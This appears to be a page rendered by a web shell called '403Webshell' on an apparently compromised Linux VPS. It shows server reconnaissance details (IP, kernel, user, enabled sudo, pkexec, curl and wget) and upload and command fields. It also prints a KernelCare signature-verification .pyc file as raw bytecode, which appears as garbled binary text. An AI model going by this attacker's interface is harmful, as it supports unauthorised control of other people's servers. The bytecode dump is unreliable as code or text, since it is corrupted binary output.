403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/kcare/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/kcare/python/__pycache__/kcsig_verify.cpython-310.pyc
o

�Ri\�@sddlZddlZddlZddlZddlZddlZddlZ	dgZddiZd	Zed
�Zed�Zed�ZGdd
�d
e�Z d0dd�Z!dd�Z"d1dd�Z#dd�Z$dd�Z%dd�Z&dd�Z'dd�Z(d d!�Z)ej*d"d#��Z+ej*d$d%��Z,d&d'�Z-d(d)�Z.d2d*d+�Z/d3d,d-�Z0d3d.d/�Z1dS)4�NF)	�Any�Dict�Iterator�List�Mapping�Optional�Sequence�Tuple�Union�)�AnyKey�
ReleaseKey�RootKey�RootKeys�	Signature�anystr�rsa4096�gpg)�type�kind�role�serial�keyz/dev/shm��c@seZdZdS)�ErrorN)�__name__�
__module__�__qualname__�rr�)/usr/libexec/kcare/python/kcsig_verify.pyrsr�latin1cCsJt|�}|tur
|S|tur|�|�S|turtt|��Stdt|���)NzUnsupported pae type )r�btype�utype�encode�int�to_bytes�str�
ValueError)�data�encoding�dtyperrr r&s
r&cCs<t|�}|tur
|S|tur|�d�S|tur|�d�St�)Nzutf-8)r�ntyper"�decoder#r$�NotImplementedError)r)r+rrr �nstr(s

r/�wcCsL|d}t||��
}|�|�Wd�n1swYt�||�dS)Nz.tmp)�open�write�os�rename)�fname�content�mode�	tmp_fname�frrr �atomic_write3s
�r:cCs4t|��}|��Wd�S1swYdS�N)r1�read)r5r9rrr �	read_file;s
$�r=cCst�t|��Sr;)�json�loadsr=)r5rrr �	read_json@sr@cGs6dt|�}|D]}t|�}|dt|�|f7}q|S)Ns%ds%d%s)�lenr&)�parts�result�p�bprrr �paeDs
rFcst�fdd�|D��S)Ncsg|]}�|�qSrr)�.0r9�r)rr �
<listcomp>Oszpae_fields.<locals>.<listcomp>)rF)r)�fieldsrrHr �
pae_fieldsMsrKcCst|t|d�S)Nr)rK�
PAE_FIELDSrHrrr �pae_typeRsrMcCs$|dtvrtdt|d���dS)Nrzinvalid key type: )rLr(r/)rrrr �	check_keyVs�rNccsb�|r|VdStjtdd��}|�t|��|��|jVWd�dS1s*wYdS)Nzkcsig-data-��dir�prefix)�tempfile�NamedTemporaryFile�TMPDIRr2r&�flush�name)r)�data_is_filer9rrr �
temp_datafile[s�

"�rXc	cs4�tj||d�}z|VWt�|�dSt�|�w)N)rQrP)rR�mkdtemp�shutil�rmtree)rQrP�temp_dirrrr �temp_directoryfs
�r]c	Cs�ttdd��9}dd|d|dd|g}tj|tjtjtjd�}|�|�\}}|jd	kr7td
t|�dt|���Wd�dS1sBwYdS)Nz
kcsig-gpgtmp-rOrz	--homedirz	--keyringz--verify�-)�stdin�stdout�stderrrzVerify error: �
)	r]rT�
subprocess�Popen�PIPE�communicate�
returncode�	Exceptionr/)�keyfile�datafile�sigdata�tmp_dir�cmdrDr`rarrr �run_gpg_verifyos
�"�rnc	Cs�t|�tjtdd��D}|�t�t|d���|��t	||��}t�t|��}t
|j||�Wd�n1s:wYWd�dSWd�dS1sRwYdS)Nz
kcsig-key-rOr)rNrRrSrTr2�base64�	b64decoder&rUrXrnrV)�	signaturerr)rW�key_filerjrkrrr �
verify_keyys��"�rsc	Cs�d}i}|��D]5\}}||vrd||<qzt|||||�Wnty8}zt|�||<WYd}~qd}~ww|d7}q||fS)Nrzno corresponding root keyr)�itemsrsrhr')	�
signatures�keysr)rW�count�errors�keyid�sig�errr �verify_count�s��
r|cCs�|�dd�}|�dd�}i}|pt}i}|d��D]H\}}	z,t|	�|	d|vr4d�|	d|�||<n|	d|krEd	�|	d|�||<n|	||<Wqtyb}
zt|
�||<WYd}
~
qd}
~
wwi}|��D] \}}	t|	d
|dt|	�d�\}}
||kr�|
||<qi|	||<qid}|��D]/\}}	zt	|d
||	|d
d�Wnty�}
zt|
�||<WYd}
~
q�d}
~
ww|d7}q�|s�t
dt�|���dS)N�	thresholdi'�
min_seriali��rvrz&invalid kind {0}, accepted list is {1}rz"invalid serial {0}, current is {1}rurHrT)r)rWrz!Error validating file signature: )
�get�AVAILABLE_KINDSrtrN�formatrhr'r|rMrsrr>�dumps)rkrj�	root_keys�kindsr}r~rx�applicable_keysryrr{�
verified_keysrw�root_errorsrrr �_verify�sJ���

��
�r�cCs$t|�}t|�}t||||d�dS)N)r�)r@r�)�sigfilerj�rootfiler�rkr�rrr �verify�sr�)r!)r0)Fr;)2ro�
contextlibr>r3rZrcrR�typingrrrrrrrr	r
�typesrr
rrrrr�rLrTrr"r#r,rhrr&r/r:r=r@rFrKrMrN�contextmanagerrXr]rnrsr|r�r�rrrr �<module>sB

	





+

Youez - 2016 - github.com/yon3zu
LinuXploit